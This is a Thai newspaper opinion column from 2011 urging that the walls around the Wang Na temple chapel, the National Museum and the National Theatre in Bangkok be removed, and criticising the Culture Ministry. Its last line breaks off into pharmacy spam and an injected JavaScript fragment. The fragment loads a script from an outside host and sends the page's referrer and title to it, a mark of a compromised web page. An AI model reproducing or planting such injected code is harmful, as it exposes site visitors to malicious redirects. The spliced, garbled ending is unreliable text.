มติชนรายวัน ฉบับประจำวันศุกร์ที่  18   มีนาคม  2554

ฟากตะวันตกสนามหลวง ริมแม่น้ำเจ้าพระยา เชิงสะพานสมเด็จพระปิ่นเกล้า     มีพิพิธภัณฑสถานแห่งชาติ, โรงละครแห่งชาติ, โบสถ์วัดพระแก้ววังหน้า เป็นบริเวณต่อเนื่องถึงกัน  แต่มีรั้วกำแพงกั้น

ควรรื้อรั้วรื้อกำแพงออกหมด แล้วปรับภูมิทัศน์ให้เป็นผืนเดียวกัน

(ซ้าย) โบสถ์วัดพระแก้ววังหน้า เมื่อ พ.ศ. 2489  ตั้งโดดเด่นอยู่ริมแม่น้ำเจ้าพระยา (ทางซ้ายของภาพ) (ภาพถ่ายฝีมือนายปีเตอร์ วิลเลี่ยม  ฮันท์  จากหนังสือกรุงเทพฯ 2489-2539)

(ขวา) บริเวณพระราชวังบวรสถานมงคล (วังหน้า) เมื่อ พ.ศ. 2539 เป็นที่ตั้งของพิพิธภัณฑสถานแห่งชาติ พระนคร, โรงละครแห่งชาติ, วิทยาลัยนาฏศิลป, และมหาวิทยาลัยธรรมศาสตร์ แออัดยัดเยียดเบียดบังจนมองไม่เห็นความโดดเด่นของอุโบสถ วัดพระแก้ว         วังหน้า (ภาพจากหนังสือ กรุงเทพฯ 2489-2539)

ความคิดนี้มีต่อเนื่องในหมู่ไพร่ฟ้าประชากรชาวสยามประเทศไทย ที่เดินทางผ่านไปมา กับมีในหมู่นาฏศิลป์, ดนตรี, โบราณคดี, ช่างศิลป์, ฯลฯ นับแต่สร้างโรงละครแห่งชาติสำเร็จ เมื่อหลัง พ.ศ. 2500 หรือราว 40 ปีมาแล้ว

ถ้าทำสำเร็จก็เท่ากับได้พื้นที่ทางวัฒนธรรมของกรุงเทพฯ ยุคแรกสถาปนา             กรุงรัตนโกสินทร์อีกแห่งหนึ่ง

เป็น“แหล่งเรียนรู้”มีคุณค่ามากๆ  ขณะเดียวกันก็เป็น“แหล่งท่องเที่ยว”ที่คลาสสิคสุดๆ

อุโบสถวัดบวรสถานสุทธาวาส หรือวัดพระแก้ววังหน้า

สมเด็จพระปิ่นเกล้าเจ้าอยู่หัว ตั้งพระทัยที่จะให้เป็นที่ประดิษฐานพระพุทธสิหิงค์ แต่สวรรคตเสียก่อน จึงมิได้อัญเชิญมาประดิษฐาน

(ภาพถ่ายเก่าสมัยรัชกาลที่ 5 จากหนังสือประชุมพงศาวดารภาคที่ 13)

จู่ๆ ผู้มีอำนาจ แต่ขาด“วัฒนธรรม” อยู่ในกระทรวงวัฒนธรรม ของรัฐบาลดีแต่พูด good but mouth ก็อนุมัติให้ปรับปรุงสิ่งก่อสร้างเก่าอันอุจาดมาบดบังเบียดเบียนโบสถ์วัดพระแก้ววังหน้าให้ถาวรมั่นคงแข็งแรงมากขึ้นไปอีก

ทั้งๆอดีตอธิบดีกรมศิลปากรขอให้ระงับดำเนินการ และบางรายการให้รื้อทุบทิ้ง (ตามหนังสือที่ วธ 0403/221 ลงวันที่ 26 มกราคม 2553) แต่ไม่แยแส ไม่ใส่ใจ

ของดีมีอยู่ใกล้ๆตัวไม่รู้จัก ยังเสือกทำลายซ้ำอีก แล้วจะมีหน้าไปดูแลรักษาอะไรที่ไหน? ไม่อยากประจานให้มากกว่านี้

เพชรดีมีค่าราคายิ่ง อยู่กับลิงจะรู้ค่าราคาหรือfluoxetine oral buy ampicillin online uk s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;